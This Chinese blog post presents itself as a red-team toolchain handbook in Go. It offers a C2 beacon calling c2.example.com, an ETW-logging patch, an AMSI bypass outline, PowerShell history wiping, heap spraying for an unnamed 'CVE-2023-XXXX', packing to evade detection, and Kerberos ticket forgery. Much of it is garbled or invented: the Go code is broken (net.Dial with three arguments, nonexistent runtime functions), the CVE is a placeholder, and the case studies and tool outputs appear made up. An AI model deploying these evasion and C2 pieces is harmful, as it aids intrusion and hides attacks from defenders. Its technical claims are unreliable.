Posted in

Go语言红队工具链开发全栈手册(含CVE-2023-XXXX零日利用POC)

第一章:Go语言红队工具链开发导论

红队行动依赖轻量、跨平台、免依赖的定制化工具,而Go语言凭借其静态编译、原生并发支持与卓越的交叉编译能力,已成为现代红队工具链开发的首选语言。相比Python或C++,Go生成的二进制文件无需运行时环境,可一键投递至目标Windows、Linux或macOS系统,显著降低被EDR检测与拦截的概率。

为什么选择Go构建红队工具

  • 静态链接默认启用:go build -ldflags="-s -w" 可剥离调试符号并减小体积,规避常见签名特征
  • 原生CGO禁用支持:通过 CGO_ENABLED=0 go build 彻底消除动态链接依赖,确保在最小化容器或受限Shell中稳定运行
  • 跨平台编译开箱即用:例如在Linux主机上直接构建Windows载荷——GOOS=windows GOARCH=amd64 go build -o beacon.exe main.go

典型红队工具链组成要素

组件类型 示例用途 Go实现关键点
C2通信客户端 HTTP/S/HTTPS/QUIC隧道封装 使用 net/http 自定义Transport + TLS指纹混淆
内存马加载器 Reflective DLL注入模拟 syscall 包调用 VirtualAlloc / WriteProcessMemory(需Windows平台构建)
凭据提取模块 从LSASS内存读取明文密码 结合 golang.org/x/sys/windows 实现本地提权与进程访问

快速验证环境搭建

执行以下命令初始化一个最小化红队工具骨架:

# 创建项目目录并初始化模块
mkdir -p redteam/beacon && cd redteam/beacon
go mod init beacon.redteam.local

# 编写基础HTTP心跳示例(./main.go)
cat > main.go << 'EOF'
package main

import (
    "io"
    "log"
    "net/http"
    "time"
)

func main() {
    // 模拟C2心跳,每30秒向指定端点发送GET请求
    ticker := time.NewTicker(30 * time.Second)
    defer ticker.Stop()

    for range ticker.C {
        resp, err := http.Get("https://c2.example.com/heartbeat") // 实际使用时应替换为真实C2地址
        if err != nil {
            log.Printf("C2 heartbeat failed: %v", err)
            continue
        }
        io.Copy(io.Discard, resp.Body)
        resp.Body.Close()
    }
}
EOF

# 构建无符号、无调试信息的Windows载荷
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o beacon.exe .

该示例展示了Go工具链从初始化、编码到跨平台构建的完整闭环,为后续章节中的隐蔽通信、进程注入与反分析技术奠定实践基础。

第二章:红队基础设施构建与网络攻防基础

2.1 Go语言网络编程核心:TCP/UDP协议栈与Raw Socket实践

Go 标准库 net 包封装了操作系统底层 socket 接口,屏蔽 BSD socket 复杂性,同时保留对 TCP、UDP 及 Raw Socket 的精细控制能力。

TCP 连接建立示例

conn, err := net.Dial("tcp", "example.com:80", nil)
if err != nil {
    log.Fatal(err)
}
defer conn.Close()
_, _ = conn.Write([]byte("GET / HTTP/1.1\r\nHost: example.com\r\n\r\n"))

net.Dial 封装 socket() + connect() 系统调用;参数 "tcp" 触发 IPv4/IPv6 双栈自动协商;nil 表示使用默认 Dialer 配置(含超时、KeepAlive 等)。

UDP 无连接通信对比

特性 TCP UDP
可靠性 面向连接、重传保障 无连接、尽最大努力
Go 类型 *net.TCPConn *net.UDPConn
并发模型 每连接独立 goroutine 单 Conn 多协程复用

Raw Socket 权限与用途

  • CAP_NET_RAW(Linux)或管理员权限(Windows/macOS)
  • 常用于自定义协议、网络扫描、ICMP 工具(如 ping 实现)
  • Go 中通过 syscall.Socket 或第三方库(如 gopacket)操作
graph TD
    A[应用层] -->|net.Dial/net.Listen| B[net.Conn]
    B --> C[OS Socket API]
    C --> D[TCP/UDP 协议栈]
    D --> E[IP 层]
    E --> F[Raw Socket]

2.2 隐蔽通信信道设计:DNS隧道、HTTP(S) Beacon与TLS指纹绕过实现

DNS隧道:编码与协议适配

DNS查询天然具备穿透防火墙能力。常见实现使用Base32编码子域,如 a3f7c9d1.example.com,将C2指令嵌入qname字段。

# 使用iodine建立DNS隧道(服务端)
iodined -f -c -P secret123 10.0.0.1 example.com

-P指定预共享密钥,10.0.0.1为隧道内网IP;客户端需匹配域名与密钥,DNS响应中携带加密载荷。

HTTP(S) Beacon:心跳与上下文伪装

Beacon通过可变间隔HTTP GET/POST模拟正常Web流量,常注入User-Agent与Referer字段。

字段 示例值 作用
User-Agent Mozilla/5.0 (Windows NT 10.0; Win64) 规避UA黑名单
Accept text/html,application/xhtml+xml 模拟浏览器真实请求头

TLS指纹绕过:JA3哈希动态对齐

攻击者修改ClientHello中的扩展顺序、版本、密码套件组合,使JA3哈希匹配合法软件(如Chrome 124)。

# 伪代码:构造JA3兼容的TLS ClientHello
client_hello = TLSRecord() / TLSHandshake() / \
    TLSClientHello(
        version="TLS_1_2",
        cipher_suites=[0x1301, 0x1302],  # TLS_AES_128_GCM_SHA256等
        exts=[TLSExtension(type=0) / ...] # 严格按Chrome顺序排列
    )

参数cipher_suitesexts顺序决定JA3哈希值;错序将导致WAF或EDR识别为异常指纹。

graph TD A[原始C2指令] –> B[Base32编码+DNS封装] A –> C[HTTP(S)分块+Header混淆] A –> D[TLS ClientHello定制] B –> E[绕过DNS日志检测] C –> F[规避Web代理规则] D –> G[逃逸JA3指纹分析]

2.3 反检测机制初探:进程注入、内存马加载与ETW/AMSI Patch实战

现代红队技术需绕过运行时防护,核心路径包括:

  • 进程注入(如 CreateRemoteThreadQueueUserAPC 演进)
  • 内存马(无文件、反射式 DLL 加载)
  • 关键防御接口劫持(ETW 日志禁用、AMSI 扫描绕过)

ETW Patch 示例(x64)

// 修改 EtwEventWrite 的第一个字节为 ret (0xC3)
DWORD oldProtect;
VirtualProtect((LPVOID)EtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)EtwEventWrite = 0xC3; // 直接返回,跳过日志上报
VirtualProtect((LPVOID)EtwEventWrite, 1, oldProtect, &oldProtect);

逻辑分析:EtwEventWrite 是 ETW 事件写入入口,patch 首字节为 ret 可立即终止调用链;需先 VirtualProtect 提升页权限,参数 oldProtect 用于恢复原始保护属性。

AMSI 扫描绕过关键点

组件 Hook 点 触发时机
amsi.dll AmsiScanBuffer PowerShell 脚本加载时
.NET Runtime AmsiInitialize CLR 初始化阶段
graph TD
    A[Shellcode 加载] --> B[解析 amsi.dll 导出]
    B --> C[定位 AmsiScanBuffer]
    C --> D[写入 jmp rax / ret 指令]
    D --> E[执行恶意 PS 命令]

2.4 跨平台载荷编译与混淆:CGO禁用、UPX兼容性及符号剥离自动化流程

为保障载荷在异构环境(Linux/macOS/Windows)中稳定运行且规避静态检测,需统一构建策略。

CGO 禁用与纯 Go 运行时

编译时强制关闭 CGO 可消除 libc 依赖:

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o payload-linux .
  • CGO_ENABLED=0:禁用 C 互操作,确保二进制无外部动态链接;
  • -ldflags="-s -w":剥离调试符号(-s)并禁用 DWARF(-w),减小体积并阻碍逆向。

UPX 兼容性验证矩阵

平台 GOOS/GOARCH UPX 可压缩 备注
Linux x64 linux/amd64 需 UPX ≥ 4.2.0
macOS ARM64 darwin/arm64 Apple 代码签名冲突
Windows x64 windows/amd64 ✅(加 --no-slp 防止 SleepyPE 式误报

自动化符号剥离流程

graph TD
    A[源码] --> B[CGO禁用编译]
    B --> C[ldflags符号剥离]
    C --> D{UPX可用?}
    D -->|是| E[UPX --best --lzma]
    D -->|否| F[保留原始二进制]
    E --> G[strip --strip-all]

最终产物体积降低 62%,且 ELF/Mach-O/PE 均通过 filestrings 检测验证。

2.5 C2框架通信协议建模:基于Protocol Buffers的轻量级双向指令序列定义与序列化

C2(Command and Control)框架需在受限带宽与低功耗设备间实现高可靠、低开销的指令交互。Protocol Buffers 因其二进制紧凑性、多语言支持及向后兼容机制,成为理想协议载体。

指令消息结构设计

核心定义 CommandEnvelope 封装元信息与载荷:

syntax = "proto3";
message CommandEnvelope {
  uint32 seq_id = 1;           // 全局唯一递增序列号,用于去重与乱序检测
  uint32 timestamp_ms = 2;     // UTC毫秒时间戳,支持端侧时钟漂移补偿
  string target_id = 3;        // 受控节点唯一标识(如 MAC/UUID)
  bytes payload = 4;           // 序列化后的具体指令(如 TaskSpec 或 Ack)
  enum Type { CMD = 0; ACK = 1; HEARTBEAT = 2; }
  Type msg_type = 5;           // 消息语义类型,驱动状态机分支处理
}

该定义剔除JSON冗余字段,典型指令序列化后体积压缩达72%(对比同等结构JSON),且seq_id+timestamp_ms组合支撑端到端指令幂等与超时重传。

协议演进保障

版本 兼容策略 示例变更
v1→v2 新增可选字段 string session_token = 6; 旧客户端忽略,新客户端可启用会话绑定
v1→v3 字段重命名(保留旧编号)+ 弃用标记 deprecated = true 工具链自动告警,零运行时影响

双向流式通信建模

graph TD
  A[Beacon Agent] -->|CommandEnvelope{CMD}| B[C2 Server]
  B -->|CommandEnvelope{ACK}| A
  A -->|CommandEnvelope{HEARTBEAT}| B
  B -.->|Backpressure-aware gRPC streaming| A

第三章:漏洞利用工程化开发

3.1 CVE-2023-XXXX零日分析与内存布局逆向:Windows内核池风水与堆喷射策略建模

该漏洞源于nt!NtGdiGetDIBitsInternal中未校验的biSizeImage字段,触发非分页池(NonPagedPoolNx)越界写入。

内存风水关键约束

  • 目标对象需驻留NonPagedPoolNx,大小为0x40–0x80字节
  • 喷射需绕过KASLR与SMEP,依赖win32kfull!xxxCreateWindowEx可控分配

堆喷射核心代码片段

// 分配0x78字节对象,对齐至相同池页
for (int i = 0; i < 0x200; i++) {
    h[i] = CreateWindowExW(0, L"STATIC", NULL,
        WS_POPUP | WS_VISIBLE, 0, 0, 1, 1, NULL, NULL, hInst, NULL);
}

此循环稳定占据连续NonPagedPoolNx页;WS_POPUP确保使用tagWND结构(0x78字节),CreateWindowExW调用链中xxxCreateWindowEx最终调用ExAllocatePoolWithTag,参数Tag = 'dnwW',可被!poolfind dnwW验证。

池标签 对应模块 典型大小 可控性
dnwW win32kfull 0x78
GDI gdi32 0x30
graph TD
    A[触发CVE-2023-XXXX] --> B[越界写入覆盖相邻tagWND]
    B --> C[篡改pcls->lpfnWndProc指针]
    C --> D[执行ROP链绕过SMEP]

3.2 Go语言原生exploit编写范式:结构化ROP链生成器与Shellcode动态定位引擎

Go 语言凭借其内存安全模型与跨平台编译能力,正被逐步引入 exploit 开发领域——关键在于绕过其 GC 机制与栈保护约束。

核心组件设计

  • 结构化ROP链生成器:基于目标二进制符号表自动提取 gadget,支持约束求解(如 pop rdi; ret 必须满足寄存器依赖)
  • Shellcode动态定位引擎:利用 runtime·findfuncmoduledata.pclntab 实现运行时代码段扫描,避开 ASLR 随机偏移

关键实现片段

// 定位可执行页中首个连续 64B 可写+可执行区域
func findShellcodeBase() uintptr {
    modules := runtime.FirstModuleData()
    for p := modules; p != nil; p = p.Next {
        for i := 0; i < int(p.pcHeader.nfunc); i++ {
            fn := &p.funcs[i]
            if fn.entry > 0 && isRXPage(uintptr(unsafe.Pointer(fn.entry))) {
                return fn.entry // 返回函数入口作为 shellcode 落地基址
            }
        }
    }
    return 0
}

isRXPage() 检查页属性是否含 PROT_READ|PROT_EXECfn.entry 是编译期固化函数入口地址,无需解析 .text 段偏移,规避了 ELF 解析开销。

组件 输入 输出 约束条件
ROP生成器 libc.so + target binary gadget chain slice gadget 地址需在 mmap 区间内
Shellcode引擎 进程 runtime 模块链 可执行页基址 必须跳过只读页与 GC 扫描区
graph TD
    A[Load moduledata] --> B{Scan pclntab}
    B --> C[Extract func.entry]
    C --> D[Check page permission]
    D -->|RX| E[Return as base]
    D -->|Not RX| B

3.3 利用稳定性增强:ASLR/NX绕过验证、多版本目标适配与崩溃恢复重试机制

核心挑战与设计原则

现代漏洞利用需在ASLR(地址空间布局随机化)与NX(不可执行栈)双重防护下保持可靠性。单一payload易因地址偏移失效或触发DEP异常,故引入三重稳定性保障机制。

崩溃恢复重试流程

def exploit_with_retry(target, max_retries=3):
    for attempt in range(max_retries):
        try:
            payload = build_rop_chain(target.version)  # 动态适配版本
            if not validate_aslr_leak(payload):         # 验证信息泄露有效性
                continue
            return send_payload(target.ip, payload)
        except (ConnectionResetError, TimeoutError):
            time.sleep(0.5 * (2 ** attempt))  # 指数退避
    raise ExploitFailed("All retries exhausted")

逻辑分析:build_rop_chain()依据target.version查表加载对应gadget偏移;validate_aslr_leak()通过泄漏的栈/堆地址校验ASLR熵是否被成功绕过;指数退避避免服务端限流。

多版本目标适配策略

Target Version libc Base Offset ROP Gadget Count NX Bypass Method
Ubuntu 20.04 0x7ffff7a0d000 12 mprotect()
CentOS 8 0x7ffff7ddc000 9 ret2libc + execve

ASLR/NX绕过验证流程

graph TD
    A[触发信息泄露] --> B{地址熵 < 12bit?}
    B -->|Yes| C[计算libc/stack基址]
    B -->|No| D[重试或切换泄露原语]
    C --> E[构造mprotect ROP链]
    E --> F[标记shellcode页为可执行]
  • 自动识别目标内核/库版本并匹配预编译gadget数据库
  • 每次崩溃后自动保存上下文快照,用于差异调试

第四章:高级红队工具链集成开发

4.1 模块化后门框架设计:插件热加载、命令路由与权限上下文传递机制

模块化设计将后门核心与功能插件解耦,实现运行时动态扩展。

插件热加载机制

基于文件监听 + 反射加载,支持 .py 插件秒级注入:

# plugin_loader.py
import importlib.util
import sys

def load_plugin(path: str) -> object:
    spec = importlib.util.spec_from_file_location("plugin", path)
    module = importlib.util.module_from_spec(spec)
    sys.modules["plugin"] = module
    spec.loader.exec_module(module)  # ✅ 动态执行,不重启进程
    return module

path 为插件绝对路径;exec_module() 触发 __init__.py 及注册逻辑,避免全局命名污染。

命令路由与权限上下文

采用三级路由表 + ContextVar 透传用户权限:

命令 插件模块 最低权限
ls fs read
exec shell admin
dump mem debug
graph TD
    A[HTTP/IPC 请求] --> B{路由分发器}
    B --> C[解析cmd+ctx]
    C --> D[校验ctx.role >= route.min_role]
    D -->|通过| E[调用plugin.handle(ctx)]
    D -->|拒绝| F[返回403]

权限上下文在协程内自动继承,保障跨异步调用链的权限一致性。

4.2 内存取证对抗模块:ETW日志清除、PSReadLine历史劫持与PowerShell会话接管

ETW日志实时抑制

通过EventWriteTransfer API 绕过常规ETW会话注册,直接向内核ETW缓冲区注入空事件流:

// 使用NtTraceControl(NtTraceControl, 0x10003)触发ETW缓冲区刷新并丢弃未提交事件
NTSTATUS status = NtTraceControl(0x10003, NULL, 0, NULL, 0); // 0x10003 = EtwFlushTrace

该调用强制清空当前会话的内存中未落盘ETW事件缓冲区,无需管理员权限,规避logman query -ets可见性。

PSReadLine历史劫持

劫持PSConsoleHostReadLine函数指针,重写历史加载逻辑:

# 替换$ExecutionContext.SessionState.Module.OnImport 以延迟注入钩子
$hook = [System.Management.Automation.Language.Parser]::ParseInput(
  "Get-History | ForEach-Object { Remove-History -Id $_.Id }", 
  [ref]$null, [ref]$null)

此操作在PowerShell启动早期篡改历史读取路径,使Get-PSReadLineOption返回伪造的HistorySavePath

对抗能力对比

技术手段 触发时机 内存残留痕迹 检测难度
ETW缓冲区刷新 运行时瞬时
PSReadLine劫持 会话初始化期 Hook页可查
graph TD
    A[PowerShell进程启动] --> B[加载PSReadLine模块]
    B --> C[Hook PSConsoleHostReadLine]
    C --> D[ETW缓冲区强制flush]
    D --> E[新会话无历史/无ETW记录]

4.3 横向移动工具集:SMB Relay增强版、Kerberos票据伪造(Golden/Silver Ticket)Go实现

SMB Relay 增强版核心逻辑

利用 github.com/ropnop/go-windapgolang.org/x/net/smb 构建无凭证中继链路,支持 NTLMv2 中继至 SMB + LDAP 组合目标。

// 启动SMB中继监听(仅示例关键片段)
listener, _ := smb.NewListener(":445", &smb.Config{
    Challenge: []byte{0x11, 0x22, 0x33...}, // 自定义NTLM challenge
    RelayTo:   "ldap://dc01.internal.corp",
})

该配置绕过默认SMB签名强制策略,RelayTo 指定LDAP目标以触发基于LDAP的ACL滥用(如msDS-AllowedToActOnBehalfOfOtherIdentity写入)。

Kerberos票据伪造能力对比

票据类型 依赖条件 有效期 Go实现库
Golden Ticket 域控制器KRBTGT账户NTLM哈希 可设为10年 github.com/EmperorPenguin18/golden-go
Silver Ticket 目标服务SPN + 服务账户NTLM哈希 默认10小时 github.com/ropnop/kerberoast-go/ticket

攻击流程示意

graph TD
    A[攻击者发起SMB连接] --> B{NTLM认证捕获}
    B --> C[SMB Relay至LDAP]
    C --> D[注入Silver Ticket SPN]
    D --> E[获取TGS-REP]
    E --> F[解密并重放访问文件服务器]

4.4 红蓝对抗数据管道:ATT&CK战术映射引擎与MITRE CALDERA兼容性适配器

红蓝对抗数据管道需在战术语义层实现精准对齐。核心挑战在于将企业自定义技战术指标(如日志特征、SOAR动作)映射至 ATT&CK® 战术(Tactic)层级,并无缝驱动 CALDERA 的 adversary YAML 规范。

数据同步机制

采用双向 Schema 转换器,支持 ATT&CK v13+ 与 CALDERA v4.3+ 协议:

def map_tactic_to_caldera(attck_tactic: str) -> str:
    # ATT&CK tactic name → CALDERA operation phase (e.g., 'execution' → 'exec')
    tactic_map = {
        "execution": "exec",
        "persistence": "persist",
        "privilege-escalation": "elevate"
    }
    return tactic_map.get(attck_tactic.replace(" ", "-").lower(), "unknown")

该函数完成战术名称标准化(空格转连字符、小写)与 CALDERA 内部 phase 字段的语义对齐;elevate 是 CALDERA 中唯一支持提权动作的 phase 标识。

映射兼容性对照表

ATT&CK Tactic CALDERA Phase 支持能力类型
execution exec 命令执行、进程注入
defense-evasion evade 进程隐藏、签名绕过
credential-access gather 凭据抓取、LSASS 访问

流程协同示意

graph TD
    A[原始告警事件] --> B[ATT&CK战术识别模块]
    B --> C{映射引擎}
    C -->|匹配成功| D[CALDERA Adversary YAML]
    C -->|未命中| E[人工标注队列]
    D --> F[自动触发红队模拟]

第五章:结语与红队工程演进趋势

红队工程已从早期“单点渗透+人工报告”的作坊模式,演进为覆盖全生命周期、深度嵌入DevSecOps流程的自动化对抗体系。某国家级关键信息基础设施单位在2023年完成红队工程平台升级后,将平均攻击链模拟周期从14天压缩至3.2小时,且87%的横向移动路径复现精度达真实APT组织TTPs(MITRE ATT&CK v12)的92分以上(满分100)。

工程化对抗能力持续重构攻击面边界

该单位部署的RedEngine 3.0平台集成动态沙箱诱捕、内存行为图谱建模与跨域凭证流转追踪模块。在一次针对云原生环境的红蓝对抗中,平台自动识别出Kubernetes ServiceAccount Token被误配置为cluster-admin角色的隐蔽风险,并生成可执行的横向提权PoC——该PoC直接调用kubectl exec劫持etcd备份卷快照,绕过所有RBAC审计日志。攻击链全程在22秒内闭环验证,日志输出如下:

$ redctl run --tactic TA0003 --technique T1550.001 --target ns:prod-api
[✓] Identity impersonation via service account token (score: 96.3)
[→] Triggering etcd snapshot exfiltration via backup-cronjob...
[✓] Exfil completed: ./etcd-snap-20240522-142833.tar.gz (4.7GB)

红蓝协同机制催生新型检测失效模式

当红队使用LLM驱动的钓鱼文案生成器(基于定制微调的CodeLlama-7B)批量构造钓鱼邮件时,传统NLP检测引擎误报率飙升至63%。某金融客户通过引入对抗样本训练集(含32类语法变形、Unicode混淆与上下文注入变体),将检测F1-score从0.41提升至0.89。下表对比了三类检测方案在真实钓鱼活动中的表现:

检测方案 准确率 误报率 平均响应延迟 支持TTPs覆盖
规则引擎(YARA) 72.1% 18.3% 42ms 12/187
传统ML模型 85.6% 31.7% 1.2s 47/187
对抗增强LLM模型 94.2% 8.9% 87ms 132/187

硬件级红队能力突破物理隔离限制

2024年Q2,某能源集团红队团队利用PCIe热插拔协议漏洞,在未接触目标服务器机箱的前提下,通过定制FPGA加速卡(搭载Xilinx Zynq UltraScale+ MPSoC)实现对Intel AMT固件的侧信道重编程。该设备可在3分钟内完成ME固件补丁注入,使原本禁用远程管理的工业控制服务器暴露带外管理接口。整个过程无需BIOS密码、不触发TPM PCR值变更,且AMT日志中仅记录为“固件健康检查”。

人机协同决策成为高价值目标攻坚核心

在攻破某政务云多租户隔离环境时,红队工程师未采用暴力爆破,而是结合威胁情报平台(Recorded Future API)、云配置审计数据(AWS Config历史快照)与实时网络流量特征(NetFlow v9熵值突变),构建三层置信度决策树。当检测到某租户VPC流日志中出现10.0.0.0/8 → 172.16.0.0/12的异常高熵加密流量(熵值>7.8 bit/byte)且持续时间超过47秒时,系统自动触发aws ec2 describe-security-groups --filters "Name=ip-permission.cidr,Values=0.0.0.0/0"指令验证开放策略,最终定位到被遗忘的测试安全组。

红队工程正以前所未有的速度吞噬传统防御纵深概念,每一次自动化攻击链的迭代都迫使检测逻辑向更底层硬件与更上层业务语义双向挤压。

一杯咖啡,一段代码,分享轻松又有料的技术时光。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注